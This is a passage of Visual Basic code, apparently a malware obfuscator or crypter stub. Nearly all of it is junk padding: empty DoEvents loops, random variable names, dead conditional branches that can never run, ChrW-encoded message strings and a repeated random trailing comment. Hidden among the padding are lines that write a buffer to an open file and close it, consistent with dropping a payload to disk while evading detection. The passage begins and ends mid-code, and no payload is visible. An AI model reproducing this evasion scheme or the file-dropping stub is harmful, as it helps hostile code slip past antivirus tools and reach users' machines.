'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim fnztugov As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For fnztugov = 0 To 1 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next fnztugov 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents: jbmrzxiz = jbmrzxiz + 1 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim ymveajmi As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For ymveajmi = 0 To 8 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next ymveajmi 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Loop 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim uwxdhxot As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For uwxdhxot = 0 To 3 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next uwxdhxot 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Put #qefgzsywkju, , wratuzwqhxh 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq If 925766 = 925766 + 1 Then End 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq If 3857 < 94 Then 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim yqhmkjeu As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim dyajcfxy As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For dyajcfxy = 0 To 2 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next dyajcfxy 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq yqhmkjeu = 6 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Do While yqhmkjeu < 49 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim pnsxvlyb As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For pnsxvlyb = 0 To 4 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next pnsxvlyb 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents: yqhmkjeu = yqhmkjeu + 1 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim efkvrixe As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For efkvrixe = 0 To 6 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next efkvrixe 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Loop 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim qldnfmln As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For qldnfmln = 0 To 5 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next qldnfmln 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq MsgBox (ChrW(107) & ChrW(113) & ChrW(107) & ChrW(116) & ChrW(99) & ChrW(121) & ChrW(100) & ChrW(108) & ChrW(56) & ChrW(52)) 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq End If 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq If Len(ChrW(105) & ChrW(119) & ChrW(108) & ChrW(100) & ChrW(98) & ChrW(103) & ChrW(101) & ChrW(110) & ChrW(52) & ChrW(55) & ChrW(57) & ChrW(56)) = Len(ChrW(112) & ChrW(98) & ChrW(99) & ChrW(110) & ChrW(117) & ChrW(102) & ChrW(122) & ChrW(117)) Then 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim oxiwvliu As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim zxbyrxla As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For zxbyrxla = 0 To 7 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next zxbyrxla 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq oxiwvliu = 4 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Do While oxiwvliu < 18 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim hlzfboja As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For hlzfboja = 0 To 7 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next hlzfboja 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents: oxiwvliu = oxiwvliu + 1 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim ynvrgzkp As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For ynvrgzkp = 0 To 9 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next ynvrgzkp 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Loop 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim rqagvtxa As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For rqagvtxa = 0 To 9 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next rqagvtxa 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq MsgBox (ChrW(101) & ChrW(114) & ChrW(114) & ChrW(111) & ChrW(114) & ChrW(32) & ChrW(33) & ChrW(33) & ChrW(33)) 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq End If 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim nvvqnbyw As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim hcyivuew As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For hcyivuew = 0 To 8 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next hcyivuew 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq nvvqnbyw = 1 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Do While nvvqnbyw < 48 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim aelpqcyv As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For aelpqcyv = 0 To 4 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next aelpqcyv 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents: nvvqnbyw = nvvqnbyw + 1 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim mmexehfq As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For mmexehfq = 0 To 1 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next mmexehfq 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Loop 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim sgivwcxe As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For sgivwcxe = 0 To 4 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next sgivwcxe 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Close #qefgzsywkju 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq If 963933 = 963933 + 1 Then End 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq If 6478 < 68 Then 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim srqfacqt As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim hmkldysg As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For hmkldysg = 0 To 3 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next hmkldysg 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq srqfacqt = 7 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Do While srqfacqt < 25 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim qcfotkgm As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For qcfotkgm = 0 To 2 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next qcfotkgm 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents: srqfacqt = srqfacqt + 1 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim kynqhfgn As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For kynqhfgn = 0 To 4 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next kynqhfgn 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Loop 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim bgfprfmm As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For bgfprfmm = 0 To 1 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next bgfprfmm 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq MsgBox (ChrW(113) & ChrW(99) & ChrW(118) & ChrW(111) & ChrW(114) & ChrW(112) & ChrW(97) & ChrW(99) & ChrW(52) & ChrW(49)) 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq End If 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq If Len(ChrW(98) & ChrW(118) & ChrW(121) & ChrW(103) & ChrW(122) & ChrW(119) & ChrW(111) & ChrW(117) & ChrW(55) & ChrW(51) & ChrW(50) & ChrW(56)) = Len(ChrW(109) & ChrW(107) & ChrW(116) & ChrW(109) & ChrW(120) & ChrW(97) & ChrW(99) & ChrW(119)) Then 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim beekxhvw As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim ynlouygj As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For ynlouygj = 0 To 8 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next ynlouygj 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq beekxhvw = 7 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Do While beekxhvw < 77 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim ewljobkj As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For ewljobkj = 0 To 3 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next ewljobkj 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents: beekxhvw = beekxhvw + 1 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim ksvnjmcz As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For ksvnjmcz = 0 To 2 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next ksvnjmcz 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Loop 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim bwoiuggd As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For bwoiuggd = 0 To 8 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next bwoiuggd 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq MsgBox (ChrW(101) & ChrW(114) & ChrW(114) & ChrW(111) & ChrW(114) & ChrW(32) & ChrW(33) & ChrW(33) & ChrW(33)) 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq End If 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim kwpfylku As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim sxguimwi As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For sxguimwi = 0 To 7 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next sxguimwi 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq kwpfylku = 8 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Do While kwpfylku < 66 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim kqrwhzij As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For kqrwhzij = 0 To 4 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next kqrwhzij 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents: kwpfylku = kwpfylku + 1 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim xitmkmqf As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For xitmkmqf = 0 To 2 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next xitmkmqf 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Loop 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim furtiiob As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For furtiiob = 0 To 9 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next furtiiob 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim wgeidynimaz 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq If 868759 = 868759 + 1 Then End 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq If 3377 < 88 Then 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim lstydtzf As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim bwqntlew As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For bwqntlew = 0 To 8 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next bwqntlew 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq lstydtzf = 6 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Do While lstydtzf < 36 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim gicfmumr As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For gicfmumr = 0 To 1 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next gicfmumr 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents: lstydtzf = lstydtzf + 1 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim oqwvultt As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For oqwvultt = 0 To 2 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next oqwvultt 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Loop 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim nfpgrjnt As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For nfpgrjnt = 0 To 7 